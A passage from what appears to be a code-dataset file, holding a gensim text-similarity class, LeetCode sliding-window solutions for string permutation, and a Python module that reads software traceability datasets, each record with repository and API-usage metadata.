{"api_name": "numpy.testing.assert_array_equal", "line_number": 121, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 123, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 125, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 127, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 135, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 135, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 137, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 138, "usage_type": "call"}, {"api_name": "neo.io.proxyobjects.SpikeTrainProxy", "line_number": 139, "usage_type": "argument"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 140, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 142, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 159, "usage_type": "argument"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 160, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 160, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 160, "usage_type": "call"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 166, "usage_type": "argument"}, {"api_name": "copy.deepcopy", "line_number": 188, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 198, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 208, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 216, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 217, "usage_type": "call"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 228, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 228, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 229, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 229, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 230, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 230, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 231, "usage_type": "argument"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 236, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 236, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 237, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 237, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 238, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 238, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 239, "usage_type": "argument"}, {"api_name": "copy.deepcopy", "line_number": 245, "usage_type": "call"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 247, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 247, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 248, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 248, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 249, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 249, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 250, "usage_type": "argument"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 262, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 262, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 263, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 263, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 264, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 264, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 266, "usage_type": "argument"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 270, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 270, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 271, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 271, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 272, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 272, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 274, "usage_type": "argument"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 286, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 287, "usage_type": "attribute"}, {"api_name": "quantities.Quantity", "line_number": 298, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 299, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 301, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 302, "usage_type": "attribute"}, {"api_name": "quantities.Quantity", "line_number": 305, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 306, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 308, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 309, "usage_type": "attribute"}]} {"seq_id": "18238110649", "text": "from gensim import corpora, models, similarities, matutils\n\n\nmodel_path = '/DATA/luyao/model/'\nlsi_topic_num = 500\n\n\nclass Model:\n def __init__(self, texts, save_id = None):\n if save_id is not None:\n try:\n self.dictionary = corpora.Dictionary.load(model_path + '%s.dictionary' % save_id)\n self.tfidf = models.TfidfModel.load(model_path + '%s.tfidf' % save_id)\n self.lsi = models.LsiModel.load(model_path + '%s_%s.lsi' % (save_id, lsi_topic_num))\n print('model already exists!')\n return\n except:\n pass\n \n if (texts is None) or (texts == []):\n raise Exception('error on init nlp Model')\n \n self.dictionary = corpora.Dictionary(texts)\n \n corpus = [self.dictionary.doc2bow(text) for text in texts] \n \n self.tfidf = models.TfidfModel(corpus)\n \n corpus_tfidf = self.tfidf[corpus]\n \n self.lsi = models.LsiModel(corpus_tfidf, id2word=self.dictionary, num_topics=lsi_topic_num)\n \n # save model\n if save_id is not None:\n print('save model: ', save_id)\n self.dictionary.save(model_path + '%s.dictionary' % save_id)\n self.tfidf.save(model_path + '%s.tfidf' % save_id)\n self.lsi.save(model_path + '%s_%s.lsi' % (save_id, lsi_topic_num))\n\n def get_tfidf(self, tokens):\n query_bow = self.dictionary.doc2bow(tokens)\n query_tfidf = self.tfidf[query_bow]\n return query_tfidf\n \n def get_lsi(self, tokens):\n query_bow = self.dictionary.doc2bow(tokens)\n query_tfidf = self.tfidf[query_bow]\n query_lsi = self.lsi[query_tfidf]\n return query_lsi\n \n def query_sim_tfidf(self, tokens1, tokens2):\n return matutils.cossim(self.get_tfidf(tokens1), self.get_tfidf(tokens2))\n \n def query_sim_lsi(self, tokens1, tokens2):\n return matutils.cossim(self.get_lsi(tokens1), self.get_lsi(tokens2))\n \n \"\"\"\n def query_vet_len_mul(self, tokens1, tokens2):\n print('lsi=', matutils.veclen(self.get_lsi(tokens1)) * matutils.veclen(self.get_lsi(tokens2)))\n return matutils.veclen(self.get_tfidf(tokens1)) * matutils.veclen(self.get_tfidf(tokens2))\n\n def get_idf_sum(self, tokens):\n query_bow = self.dictionary.doc2bow(tokens)\n counter = dict(query_bow)\n sum = 0\n for x in self.tfidf[query_bow]:\n sum += x[1] / counter[x[0]]\n return sum\n\n def query_sim_common_words_idf(self, tokens1, tokens2):\n return self.get_idf_sum(list(set(tokens1) & set(tokens2)))\n\n def query_lsi(self, tokens):\n query_bow = self.dictionary.doc2bow(tokens)\n query_lsi = self.lsi[self.tfidf[query_bow]]\n sims = self.index_lsi[query_lsi]\n sort_sims = sorted(enumerate(sims), key=lambda item: -item[1])\n return sort_sims\n \"\"\"\n\nif __name__ == \"__main__\":\n documents = [\"Shipment of gold damaged in a fire\", \"Delivery of silver arrived in a silver truck\", \"Shipment of gold arrived in a truck\", \"orz\"]\n texts = [[word for word in document.lower().split()] for document in documents]\n m = Model(texts)\n z1 = ['water', 'gold', 'in', 'the', 'shipment', 'shipment']\n z2 = ['aaa', 'bbb', 'a', 'gold', 'in', 'fire', 'in']\n \n print(m.query_sim_tfidf(z1, z2))\n print(m.query_sim_lsi(z1, z2))\n \n print(m.query_sim_tfidf(['gold', 'in', 'shipment', 'shipment', 'orz'],['shipment', 'in', 'fire']))\n print(m.query_sim_lsi(['gold', 'in', 'shipment', 'shipment', 'orz'],['shipment', 'in', 'fire']))\n \n", "repo_name": "luyaor/INTRUDE", "sub_path": "nlp.py", "file_name": "nlp.py", "file_ext": "py", "file_size_in_byte": 3651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "gensim.corpora.Dictionary.load", "line_number": 12, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 12, "usage_type": "attribute"}, {"api_name": "gensim.corpora", "line_number": 12, "usage_type": "name"}, {"api_name": "gensim.models.TfidfModel.load", "line_number": 13, "usage_type": "call"}, {"api_name": "gensim.models.TfidfModel", "line_number": 13, "usage_type": "attribute"}, {"api_name": "gensim.models", "line_number": 13, "usage_type": "name"}, {"api_name": "gensim.models.LsiModel.load", "line_number": 14, "usage_type": "call"}, {"api_name": "gensim.models.LsiModel", "line_number": 14, "usage_type": "attribute"}, {"api_name": "gensim.models", "line_number": 14, "usage_type": "name"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 23, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 23, "usage_type": "name"}, {"api_name": "gensim.models.TfidfModel", "line_number": 27, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 27, "usage_type": "name"}, {"api_name": "gensim.models.LsiModel", "line_number": 31, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 31, "usage_type": "name"}, {"api_name": "gensim.matutils.cossim", "line_number": 52, "usage_type": "call"}, {"api_name": "gensim.matutils", "line_number": 52, "usage_type": "name"}, {"api_name": "gensim.matutils.cossim", "line_number": 55, "usage_type": "call"}, {"api_name": "gensim.matutils", "line_number": 55, "usage_type": "name"}]} {"seq_id": "30248860775", "text": "class Solution:\n def checkInclusion(self, s1: str, s2: str) -> bool:\n sorted_s1 = sorted(s1)\n s1_len = len(s1)\n s2_len = len(s2)\n if len(s1) > len(s2):\n return False\n else:\n for l in range(s2_len - s1_len+1):\n if sorted_s1 == sorted(s2[l:l+s1_len]):\n return True\n return False\n \n###############################################reference solution 2\nclass Solution:\n def checkInclusion(self, s1: str, s2: str) -> bool:\n if len(s1) > len(s2):\n return False\n\n s1Count, s2Count = [0] * 26, [0] * 26\n for i in range(len(s1)):\n s1Count[ord(s1[i]) - ord(\"a\")] += 1\n s2Count[ord(s2[i]) - ord(\"a\")] += 1\n\n matches = 0\n for i in range(26):\n matches += 1 if s1Count[i] == s2Count[i] else 0\n\n l = 0\n for r in range(len(s1), len(s2)):\n if matches == 26:\n return True\n\n index = ord(s2[r]) - ord(\"a\")\n s2Count[index] += 1\n if s1Count[index] == s2Count[index]:\n matches += 1\n elif s1Count[index] + 1 == s2Count[index]:\n matches -= 1\n\n index = ord(s2[l]) - ord(\"a\")\n s2Count[index] -= 1\n if s1Count[index] == s2Count[index]:\n matches += 1\n elif s1Count[index] - 1 == s2Count[index]:\n matches -= 1\n l += 1\n return matches == 26\n \n##############################################reference solution v3\n#strategy to solve the problem\n #\n\n #why:\n #using two pointer strategy\n #counter (Counter): count in reverse to compare the s1 to the current window. counter[char] == 0 then that char is matched\n #we also know len of the window base on len of s1. therefore we can we can decide when to move left pointer base on that.\n\n #variables:\n #counter (Counter): to count in reverse from s1 to 0. If one key is 0 then that char is matched\n #matched, counter_len (int): to count matched compute to elements in s1. if matched = counter_len then substring is permutation of s1\n #len_s1 (int): len of s1 is also the width of sliding window\n #r, r-len_s1 (int): to keep track of left pointer and right pointer of the window\n #right pointer will + matched\n #left pointer will - match\n #they work together compute and update the match of the current window\n \n#solution 3 is better than solution one because it reduce sort every time compare a window in s2 string\n #they work together compute and update the match of the current window\nfrom collections import Counter\nclass Solution:\n def checkInclusion(self, s1: str, s2: str) -> bool:\n if len(s2) < len(s1):\n return False\n\n counter = Counter(s1)\n matched, counter_len = 0, len(counter)\n len_s1 = len(s1)\n\n for r in range(len(s2)):\n\n if s2[r] in counter:\n counter[s2[r]] -= 1\n if counter[s2[r]] == 0:\n matched += 1\n\n if r >= len_s1 and s2[r-len_s1] in counter:\n if counter[s2[r-len_s1]] == 0:\n matched -= 1\n counter[s2[r-len_s1]] += 1\n\n if matched == counter_len:\n return True\n\n return False", "repo_name": "toanbui626391/data_structure_algorithm", "sub_path": "sliding_window/permutation_in_string.py", "file_name": "permutation_in_string.py", "file_ext": "py", "file_size_in_byte": 3412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.Counter", "line_number": 76, "usage_type": "call"}]} {"seq_id": "15450544286", "text": "import os\nimport random\nimport re\nfrom collections import defaultdict\nfrom typing import List, Dict\n\nimport torch\nimport pandas as pd\nfrom tqdm import tqdm\nimport xml.etree.ElementTree as ET\n\nfrom LMTrace.models import MODEL_ARCH_SINGLE, MODEL_ARCH_SIAMESE\nimport json, logging\nfrom pathlib import Path\n\nlogger = logging.getLogger(__name__)\n\nTOKEN = \"token\"\n\nOID = \"oid\"\nSOID = \"s_oid\"\nTOID = \"t_oid\"\n\nID = \"id\"\nSID = \"sid\"\nTID = \"tid\"\nPRED = \"pred\"\nLABEL = \"label\"\n\nTEXT = \"text\"\nSTEXT = \"s_text\"\nTTEXT = \"t_text\"\n\nEMBD = \"embd\"\n\nINPUT_ID = \"input_ids\"\nTK_TYPE = \"token_type_ids\"\nATTEN_MASK = \"attention_mask\"\n\nDEFAULT_SOURCE_FILE = \"source_art.csv\"\nDEFAULT_TARGET_FILE = \"target_art.csv\"\nDEFAULT_LINK_FILE = \"link.csv\"\n\n\nclass TraceExamples:\n \"\"\"\n Manage the examples read from raw dataset\n\n examples:\n valid_examples = CodeSearchNetReader(data_dir).get_examples(type=\"valid\", num_limit=valid_num, summary_only=True)\n valid_examples = Examples(valid_examples)\n valid_examples.update_features(model)\n valid_examples.update_embd(model)\n \"\"\"\n\n def __init__(self, s_arts, t_arts, links):\n \"\"\"\n Index the raw examples with numeric ids (sid and tid) and The origin id is named as s_oid,t_oid.\n :param raw_examples: A list of dictionary with keys: s_oid, s_text, t_oid, t_text\n \"\"\"\n\n self.s_index, self.t_index = dict(), dict() # artifact index (id->text)\n self.rs_index, self.rt_index = (\n dict(),\n dict(),\n ) # reversed artifact index (oid->id)\n self.s2t, self.t2s = defaultdict(set), defaultdict(set) # true links\n self.sid_cnt, self.tid_cnt, self.lk_cnt = 0, 0, 0\n\n for i, s_oid in enumerate(s_arts):\n if s_arts[s_oid] != s_arts[s_oid] or len(s_arts[s_oid]) == 0:\n logger.warn(f\"skip sart {s_oid} with content {s_arts[s_oid]}\")\n continue\n self.s_index[i] = {SOID: s_oid, TOKEN: s_arts[s_oid]}\n self.rs_index[s_oid] = i\n\n for i, t_oid in enumerate(t_arts):\n if t_arts[t_oid] != t_arts[t_oid] or len(t_arts[t_oid]) == 0:\n logger.warn(f\"skip tart {t_oid} with content {t_arts[t_oid]}\")\n continue\n self.t_index[i] = {TOID: t_oid, TOKEN: t_arts[t_oid]}\n self.rt_index[t_oid] = i\n\n for lk in links:\n s_oid, t_oid = lk\n if s_oid not in self.rs_index or t_oid not in self.rt_index:\n logger.debug(\n f\"{lk} is dropped, s_oid:{self.rs_index.get(s_oid,None)}, t_oid:{self.rt_index.get(t_oid,None)}\"\n )\n continue\n sid, tid = self.rs_index[s_oid], self.rt_index[t_oid]\n if tid not in self.s2t[sid]:\n self.lk_cnt += 1\n\n self.s2t[sid].add(tid)\n self.t2s[tid].add(sid)\n\n def __len__(self):\n return self.lk_cnt\n\n @staticmethod\n def exclude_and_sample(sample_pool, exclude, num):\n for id in exclude:\n sample_pool.remove(id)\n selected = random.choices(list(sample_pool), k=num)\n return selected\n\n def build_feature_entry(\n self, sid, tid, label, tokenizer, model_arch, max_seq_length=256\n ):\n s_tks = self.s_index[sid][TOKEN]\n t_tks = self.t_index[tid][TOKEN]\n pair_feature = tokenizer(\n text=s_tks,\n text_pair=t_tks,\n return_attention_mask=True,\n return_token_type_ids=True,\n add_special_tokens=True,\n padding=\"max_length\",\n max_length=max_seq_length,\n truncation=\"longest_first\",\n )\n\n entry = {SID: sid, TID: tid, \"label\": label}\n\n if model_arch.endswith(MODEL_ARCH_SINGLE):\n entry[\"input_ids\"] = pair_feature[INPUT_ID]\n entry[\"attention_mask\"] = pair_feature[ATTEN_MASK]\n entry[\"token_type_ids\"] = pair_feature[TK_TYPE]\n elif model_arch.endswith(MODEL_ARCH_SIAMESE):\n entry[\"s_input_ids\"] = self.s_index[sid][INPUT_ID]\n entry[\"s_attention_mask\"] = self.s_index[sid][ATTEN_MASK]\n entry[\"t_input_ids\"] = self.t_index[tid][INPUT_ID]\n entry[\"t_attention_mask\"] = self.t_index[tid][ATTEN_MASK]\n else:\n raise Exception(f\"model arch {model_arch} not recoginized\")\n return entry\n\n def gen_trace_dataset(\n self,\n tokenizer,\n model_arch,\n max_seq_length,\n query_num=-1,\n with_label=True,\n for_validation=False,\n ):\n \"\"\"\n Generate trace challenge based on true links.\n :param tokenizer:\n :param model_arch:\n :param for_validation:Evaluting large validation will significantly slow down training.\n Limit the tracing size by reducing target artifacts which do not have links.\n It will make the metrics higher at validation than evaluation.\n :return:\n \"\"\"\n dataset = []\n t_index = (\n {x: self.t_index[x] for x in self.t2s.keys()}\n if for_validation\n else self.t_index\n )\n s_index = self.s_index\n\n if query_num >= 0:\n n = min(query_num, len(self.s_index))\n s_index = {\n x: self.s_index[x] for x in random.sample(self.s_index.keys(), n)\n }\n for sid in s_index:\n if query_num > 0 and len(dataset) > query_num:\n break\n for tid in t_index:\n if with_label:\n label = 1 if tid in self.s2t[sid] else 0\n else:\n label = None\n dataset.append(\n self.build_feature_entry(\n sid,\n tid,\n label,\n tokenizer,\n model_arch,\n max_seq_length=max_seq_length,\n )\n )\n return dataset\n\n def gen_training_dataset(\n self, tokenizer, model_arch, max_seq_length=256, resample_rate=1\n ):\n \"\"\"\n Generate training examples with random negative examples.\n The dataset is a balanced dataset with equal size of positive and negative examples.\n Create features for both single and siamese models.\n :return:\n \"\"\"\n\n for index in [self.s_index, self.t_index]:\n for id in index:\n feature = tokenizer(\n text=index[id][TOKEN],\n return_attention_mask=True,\n return_token_type_ids=False,\n truncation=\"longest_first\",\n max_length=max_seq_length,\n padding=\"max_length\",\n )\n index[id][INPUT_ID] = feature[INPUT_ID]\n index[id][ATTEN_MASK] = feature[ATTEN_MASK]\n\n dataset = []\n\n for sid in tqdm(self.s2t, desc=\"creating train dataset\"):\n pos_tids = self.s2t[sid]\n for pos_tid in pos_tids:\n for i in range(resample_rate):\n dataset.append(\n self.build_feature_entry(sid, pos_tid, 1, tokenizer, model_arch)\n )\n neg_tids = TraceExamples.exclude_and_sample(\n set(self.t_index.keys()), pos_tids, num=len(pos_tids) * resample_rate\n )\n for n_tid in neg_tids:\n dataset.append(\n self.build_feature_entry(sid, n_tid, 0, tokenizer, model_arch)\n )\n return dataset\n\n def update_embd(self, model):\n \"\"\"\n update the artifact embeddings for Siamese-LM model\n :param model: Siamese model\n :return:\n \"\"\"\n with torch.no_grad():\n model.eval()\n for index in [self.s_index, self.t_index]:\n for id in tqdm(index, desc=\"update embedding\"):\n feature = index[id]\n input_tensor = (\n torch.tensor(feature[INPUT_ID]).view(1, -1).to(model.device)\n )\n mask_tensor = (\n torch.tensor(feature[ATTEN_MASK]).view(1, -1).to(model.device)\n )\n embd = model.get_LM(input_tensor, mask_tensor)[0]\n embd_cpu = embd.to(\"cpu\")\n index[id][EMBD] = embd_cpu\n\n def write_arts(self, art_dict, file_path):\n df = pd.DataFrame(columns=[ID, TEXT])\n df[ID] = art_dict.keys()\n df[TEXT] = art_dict.values()\n df.to_csv(file_path)\n\n def split_dataset(\n self, out_dir, weigths={\"train\": 8, \"valid\": 1, \"test\": 1}, by=\"sart\"\n ):\n \"\"\"\n Split dataset into train, validation, test and write them into CSV format.\n Each source artifact are treated as a single query and the weights are applied on the source artifacts.\n\n\n :param trace_examples:\n :param out_dir:\n :return:\n \"\"\"\n\n queries = list(self.s2t.keys())\n random.shuffle(queries)\n q_iter = iter(queries)\n total_w = sum(weigths.values())\n stat = {}\n for idx, slice_name in enumerate(weigths):\n slice_dir = os.path.join(out_dir, slice_name)\n if not os.path.isdir(slice_dir):\n os.makedirs(slice_dir)\n if by == \"link\":\n n = int(self.lk_cnt * (weigths[slice_name] / total_w))\n elif by == \"sart\":\n n = int(len(self.s2t) * (weigths[slice_name] / total_w))\n cnt = 0\n sarts = dict()\n tarts = {\n self.t_index[x][TOID]: self.t_index[x][TOKEN]\n for x in self.t_index.keys()\n }\n lk_s_col, lk_t_col = [], []\n # allow last slice take all remaining links\n while cnt < n or idx == len(weigths) - 1:\n sid = next(q_iter, None)\n if sid is None:\n logger.debug(f\"{len(lk_s_col)},{slice_name}\")\n break\n logger.debug(f\"{cnt}/{n},{slice_name}\")\n for tid in self.s2t[sid]:\n sart, tart = self.s_index[sid], self.t_index[tid]\n sarts[sart[SOID]] = sart[TOKEN]\n # tarts[tart[TOID]] = tart[TOKEN]\n lk_s_col.append(sart[SOID])\n lk_t_col.append(tart[TOID])\n cnt += 1 if by == \"link\" else 0\n cnt += 1 if by == \"sart\" else 0\n stat[slice_name] = {\n \"slice\": slice_name,\n \"link\": len(lk_s_col),\n \"sart:\": len(sarts),\n \"tart\": len(tarts),\n }\n\n self.write_arts(sarts, os.path.join(slice_dir, DEFAULT_SOURCE_FILE))\n self.write_arts(tarts, os.path.join(slice_dir, DEFAULT_TARGET_FILE))\n lk_df = pd.DataFrame(columns=[SID, TID])\n lk_df[SID] = lk_s_col\n lk_df[TID] = lk_t_col\n lk_df.to_csv(os.path.join(slice_dir, DEFAULT_LINK_FILE))\n\n with open(os.path.join(out_dir, \"split_summary.txt\"), \"w\") as fout:\n for slice in stat:\n fout.write(str(stat[slice]) + \"\\n\")\n\n\nclass DataReader:\n def __init__(\n self,\n dir_path,\n ):\n self.dir_path = dir_path\n\n def get_examples(self) -> TraceExamples:\n raise NotImplementedError\n\n @staticmethod\n def align_art_link(sarts, tarts, links):\n lk_sids = set([x[0] for x in links])\n lk_tids = set([x[1] for x in links])\n\n s_rm = [x for x in sarts if x not in lk_sids]\n t_rm = [x for x in tarts if x not in lk_tids]\n [sarts.pop(x) for x in s_rm]\n [tarts.pop(x) for x in t_rm]\n return sarts, tarts, links\n\n\nclass CSVReader(DataReader):\n \"\"\"\n dataset reader for csv file. A datatset contains three files:\n 1. source_art.csv: contain 'id' and 'text' column\n 2. target_art.csv: contain 'id' and 'text' column\n 3. link.csv: contain 'sid' and 'tid' column\n \"\"\"\n\n def __init__(\n self,\n data_dir,\n dataset_name=\"CSVReader\",\n sart=DEFAULT_SOURCE_FILE,\n tart=DEFAULT_TARGET_FILE,\n lk=DEFAULT_LINK_FILE,\n ):\n super().__init__(data_dir)\n self.data_dir = data_dir\n self.sart = os.path.join(data_dir, sart)\n self.tart = os.path.join(data_dir, tart)\n self.lk = os.path.join(data_dir, lk)\n self.sarts, self.tarts, self.links = None, None, None\n\n def get_examples(self):\n sart_df = pd.read_csv(self.sart)\n tart_df = pd.read_csv(self.tart)\n lk_df = pd.read_csv(self.lk)\n parse_art = lambda data_df: {\n row[ID]: row[TEXT]\n for index, row in data_df.iterrows()\n if row[TEXT] == row[TEXT]\n }\n s_index, t_index = parse_art(sart_df), parse_art(tart_df)\n links = [(row[SID], row[TID]) for index, row in lk_df.iterrows()]\n self.sarts, self.tarts, self.links = s_index, t_index, links\n return TraceExamples(s_index, t_index, links)\n\n\nclass PACISReader(DataReader):\n def __init__(self, dir_path):\n super().__init__(dir_path)\n self.source = os.path.join(dir_path, \"SSDFinal.xml\")\n self.target = os.path.join(dir_path, \"SRS.xml\")\n self.link = os.path.join(dir_path, \"TraceMatrixSSD2SRS.txt\")\n\n def get_examples(self) -> TraceExamples:\n sarts = self.read_artifact(self.source, \"source\")\n tarts = self.read_artifact(self.target, \"target\")\n lk_df = pd.read_csv(self.link)\n links = [(row[0], row[1]) for index, row in lk_df.iterrows()]\n sarts, tarts, links = DataReader.align_art_link(sarts, tarts, links)\n return TraceExamples(sarts, tarts, links)\n\n def read_artifact(self, path, type):\n arts = dict()\n root = ET.parse(path).getroot()\n for art in root.findall(\"artifact\"):\n id = art.find(\"art_id\").text\n title = art.find(\"art_title\").text\n content = art.find(\"art_content\").text\n title = title if title else \"\"\n content = content if content else \"\"\n text = re.sub(\"#[^#]*#\", \"\", content if type == \"source\" else title).strip(\n \"\\n\\t\\r \"\n )\n text = re.sub(\"[\\n\\t\\s]+\", \" \", text)\n if len(text.split()) > 10:\n arts[id] = text\n return arts\n\n\nclass CCHITReader(DataReader):\n \"\"\"\n Convert CCHIT in XML into csv files\n \"\"\"\n\n def __init__(\n self, dir_path, sart=\"source.xml\", tart=\"target.xml\", link_files=\"answer2.xml\"\n ):\n super().__init__(dir_path)\n self.sart = os.path.join(dir_path, \"source.xml\")\n self.tart = os.path.join(dir_path, \"target.xml\")\n self.link = os.path.join(dir_path, \"answer2.xml\")\n\n def get_examples(self) -> TraceExamples:\n sarts = self._read_art(self.sart, \"source\")\n tarts = self._read_art(self.tart, \"target\")\n links = self._read_link()\n sarts, tarts, links = DataReader.align_art_link(sarts, tarts, links)\n return TraceExamples(sarts, tarts, links)\n\n def _read_art(self, path, type):\n arts = dict()\n art_file = self.sart if type == \"source\" else self.tart\n with open(art_file) as fin:\n root = ET.parse(fin).getroot()\n for art in root.iter(\"artifact\"):\n id = art.find(\"art_id\").text\n content = art.find(\"art_title\").text\n arts[id] = content\n return arts\n\n def _read_link(self):\n links = set()\n with open(self.link) as fin:\n root = ET.parse(fin).getroot()\n for lk in root.iter(\"link\"):\n sid = lk.find(\"source_artifact_id\").text\n tid = lk.find(\"target_artifact_id\").text\n links.add((sid, tid))\n return links\n\n\nclass DronologyReader(DataReader):\n def __init__(self, dir_path, stype, ttype):\n \"\"\"\n :stype: type prefix/code for source artifact\n :ttype: type prefix/code for target artifact\n \"\"\"\n super().__init__(dir_path)\n self.file_path = os.path.join(dir_path, \"dronologydataset01.json\")\n self.stype = stype\n self.ttype = ttype\n self.sarts, self.tarts, self.links = None, None, None\n\n def get_examples(self) -> TraceExamples:\n with open(self.file_path, encoding=\"utf8\") as dr_json_file:\n data = json.load(dr_json_file)\n entries = data[\"entries\"]\n links = set()\n sarts, tarts = dict(), dict()\n get_prefix = lambda id_str: id_str.split(\"-\")[0]\n for entry in entries:\n art_id = entry[\"issueid\"]\n prefix = get_prefix(art_id)\n attributes = entry[\"attributes\"]\n art_type = attributes[\"issuetype\"]\n art_summary = attributes[\"summary\"].strip(\"\\n\\t\\r \")\n art_describ = attributes[\"description\"].strip(\"\\n\\t\\r \")\n content = f\"{art_summary} \\n {art_describ}\"\n if prefix == self.stype or self.stype == \"*\":\n sarts[art_id] = content\n for child in entry[\"children\"].values():\n for rel_art in child:\n if get_prefix(rel_art) == self.ttype or self.ttype == \"*\":\n links.add((art_id, rel_art))\n elif prefix == self.ttype or self.ttype == \"*\":\n tarts[art_id] = content\n else:\n continue\n sarts, tarts, links = DataReader.align_art_link(sarts, tarts, links)\n self.sarts, self.tarts, self.links = sarts, tarts, links\n logger.debug(f\"s:{len(sarts)}, t:{len(tarts)}, lk:{len(links)}\")\n return TraceExamples(sarts, tarts, links)\n\n\nclass CM1Reader(CCHITReader):\n def __init__(self, dir_path):\n super().__init__(dir_path)\n self.sart = os.path.join(dir_path, \"CM1-sourceArtifacts.xml\")\n self.tart = os.path.join(dir_path, \"CM1-targetArtifacts.xml\")\n self.link = os.path.join(dir_path, \"CM1-answerSet.xml\")\n\n def _read_art(self, path, type):\n arts = dict()\n art_file = self.sart if type == \"source\" else self.tart\n with open(art_file) as fin:\n root = ET.parse(fin).getroot()\n for art in root.iter(\"artifact\"):\n id = art.find(\"id\").text\n content = art.find(\"content\").text\n arts[id] = content\n return arts\n\n\nclass WARCReader(DataReader):\n def 